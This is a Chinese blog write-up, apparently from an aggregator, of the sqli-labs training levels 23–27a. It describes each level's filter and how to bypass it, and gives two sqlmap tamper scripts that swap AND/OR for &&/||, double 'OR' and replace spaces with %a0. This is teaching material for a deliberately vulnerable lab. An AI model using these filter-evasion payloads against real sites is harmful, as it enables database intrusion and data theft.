sqlilab less23-less27a

Posted 每天积累一点点

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sqlilab less23-less27a相关的知识,希望对你有一定的参考价值。

less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and \'1\'=\'1,将其加在注入语句的末尾,使用suffix参数

 

 

 

 


 

 less-24

 以后填坑


less-25

参数经过blacklist处理

 

 blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

 

 对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file \'LICENSE\' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        payload1=payload.replace(\' AND \',"&&")
        payload2=payload1.replace(\' OR \',"||")
        payload=payload2

    return payload

  成功注入

 


 

less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

 

 需要用and \'1\'=\'1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

 

 

 

 

攻击日志:

 

 


 

less-26a

不同于上一关,这里是用小括号进行了包裹

 

 tamper

 1 #!/usr/bin/env python
 2 
 3 from lib.core.enums import PRIORITY
 4 from lib.core.compat import xrange
 5 import re
 6 
 7 __priority__ = PRIORITY.LOWEST
 8 
 9 def dependencies():
10     pass
11 
12 def tamper(payload, **kwargs):
13   
14     if payload:
15         payload1=re.sub(r\' AND \',\'%a0%26%26%a0\',payload)
16         payload2=re.sub(r\'OR\',\'OORR\',payload1)
17         payload=payload2
18     retVal = payload
19 
20     if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23 
24         for i in xrange(len(payload)):
25             if not firstspace:
26                 if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29                     continue
30 
31             elif payload[i] == \'\\\'\':
32                 quote = not quote
33 
34             elif payload[i] == \'"\':
35                 doublequote = not doublequote
36 
37             elif payload[i] == " " and not doublequote and not quote:
38                 retVal += "%a0"
39                 continue
40 
41             retVal += payload[i]
42 
43     return retVal

使用sqlmap进行前后的包裹

 

 

 

 


 less-27

 过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过

 

 使用随机大小写和空格匹配tamper

 

 

 

 


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

 

 利用上一题的tamper,对前后的包裹进行修改

 

 

 

 攻击日志

 

以上是关于sqlilab less23-less27a的主要内容,如果未能解决你的问题,请参考以下文章

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第一关Less-1)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(目录)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(目录)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第五关Less-5)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第四关Less-4)

sqlilabs(SQL注入)小白通基础通关笔记(专针对小白)(第三关Less-3)